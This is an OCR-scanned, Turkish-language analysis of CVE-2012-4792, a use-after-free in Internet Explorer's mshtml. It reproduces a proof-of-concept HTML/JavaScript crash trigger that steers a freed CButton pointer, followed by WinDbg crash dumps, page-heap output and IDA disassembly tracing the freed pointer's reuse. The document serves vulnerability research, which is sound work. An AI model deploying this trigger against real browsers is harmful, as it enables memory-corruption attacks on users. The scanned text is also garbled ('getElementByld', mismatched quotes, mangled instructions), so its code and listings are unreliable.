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CVE-2012-4792 Use After Free Vulnerability Analysis

CVE-2012-4792 PoC by Peter Vreugdenhil:
<ldoctype html>
<html>
<head>
<script>
function helloWorld() {
var e0 = null;
var el =null;
var e2 = null;
try {
e0 = document.getElementByld("a");
el = document.getElementByld("b");
e2 = document.createElement("q");
el.applyElement(e2);
el.appendChild(document.createElement('button'));
el.applyElement(e0);
e2.outerText="";
e2.appendChild(document.createElement('body'));
} catch(e) { }
CollectGarbage();
var eip = window;
var data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA',
eip.location = unescape("AA" + data);
}
</script>
</head>
<body onload="eval(helloWorld())">
<formid="a">
</form>
<dfn id="b">
</dfn>
</body>
</html>

(1e4.b7c): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=08016fa8 ebx=06800f30 ecx=00000052 edx=00000000 esi=00000000 edi=08016fa8
eip=637848ae esp=0505f800 ebp=0505f86¢ iopl=0 nv up ei pl nz na ponc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4ef:
637848ae 8b07 mov  eax,dword ptr [edi] ds:0023:08016fa8=???????7?

Crash; edi nin isaret ettigi bir pointer eax'a tasirken...




Application Verifier'a IE'yi ekleyelim.

&8 Application Verifier 4.0

File Edit “iew Help

LY To use Appherifier select an application to kest (Chrl+A), click the checkboxes next ko the tests, and execute the code, Select Wiew to see
L ,)prnperties and logs, To stop testing an application click Ctrl+D, For more detailed information see the Help,

Applications Tests

Image Mame =
igplore. exe Exceptions
Handles
Heaps
[ Inputukput
Locks
Mermory
[w] Threadpool
{checks usage of wirtual memory &PIs, & debugger is req
[ cresults.
[]Low Resource Simulation
[]LuaPriv
[ Miscellaneous
[ Prinking

Tekrar PoC galistiralim, edi'nin isaret ettigi adresi heap'de inceleyelim

0:010> !'heap -p -a edi

address 08016fa8 found in
_DPH_HEAP_ROOT @ 141000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)

88fd800: 8016000 2000

7¢9268ad ntdllliswdigit+0x00000128
0036fe9c vfbasics!AVrfpRtIFreeHeap+0x000000f8 ----> FreeHeap
639943ef mshtml!CButton:: vector deleting destructor'+0x0000002f ---> Deleting Destructor
63628a50 mshtml!CBase::SubRelease+0x00000022
63640d1b mshtml!CElement::PrivateRelease+0x00000029
6363d0ae mshtml!PlainRelease+0x00000025
63663c03 mshtml!PlainTrackerRelease+0x00000014

---snip--

639943ef adresine IDA ile gbz atalim...

text:i639943E8 push esi ; 1pHenm

Lext639943E1 push ] ; duwFlags

texti639943E3 push _0_hProcessHeap ; hHeap

Lext630043ED call ds:__imp_ HeapFree@12 ; HeapFree{x,x,x)

text :639943EF

Lexti639943EF loc 639943EF: ; CODE XREF: CButton::vector deleting destructor
text:639943EF mow eax, esi

text:639943F1 pop esi

text:639943F2 pop ebp

text:639943F3 retn L

pointer free edilmis.. (geri birakilmis)



Crash'in oldugu adrese IDA ile bakalim...

push esi

push 1

push dword ptr [ecx+1A4h]

call ?FindDefaultElem@CElement@ERQAEPAVIEBHHRZ ; CElement::FindDefaultElem{int,int}

mou [edi, eax]
|
s\ﬂ-

loc_635C3B71:
cmp [edi], esi
jnz Toc_637848AE

s 23 "f

; START OF FUNT}’GN CHUHK FOR ?0nLoadStatusDone@CHarkupB@EJAEHKZ

= . CRASHHERE
nov eax, [edi]

1] odl
nov [ebptuar_58], esi
nov [ebp+var_u8], esi

EDI nin akisi gosterilmistir..

Crash'deki [edi], 0x639943ef'de free edilen pointer ile ayni adresse, zafiyetin Use After Free
oldugunu dogrulayabiliriz.

0x639943ef ve 0x635C3B71 adreslerine breakpoint koyalim.

0:019> g
ModLoad: 63380000 63434000 C:\WINDOWS\system32\jscript.dll

Breakpoint O hit

eax=00000001 ebx=054a8e70 ecx=0036ff18 edx=00000020 esi=03202fa8 edi=00000000
eip=639943ef esp=04f4c4dc ebp=04f4c4e0 iopl=0 nv up ei pl zr na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CButton:: vector deleting destructor'+0x2f:

639943ef 8bcb mov  eax,esi

0:010> g
(738.8d8): Unknown exception - code 80010108 (first chance)

Breakpoint 1 hit

eax=03202fa8 ebx=06734f30 ecx=00000052 edx=00000000 esi=00000000 edi=03202fa8
eip=635c3b71 esp=04f4f800 ebp=04f4f86¢c iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CMarkup::OnLoadStatusDone+0x4e7:

635c3b71 3bfe cmp  ediesi

goriildugii Gizere 639943ef ' de free edilen adres (esi=03202fa8),
mshtml!CMarkup::OnLoadStatusDone fonksiyonunda tekrar kullaniliyor (edi=03202fa8)




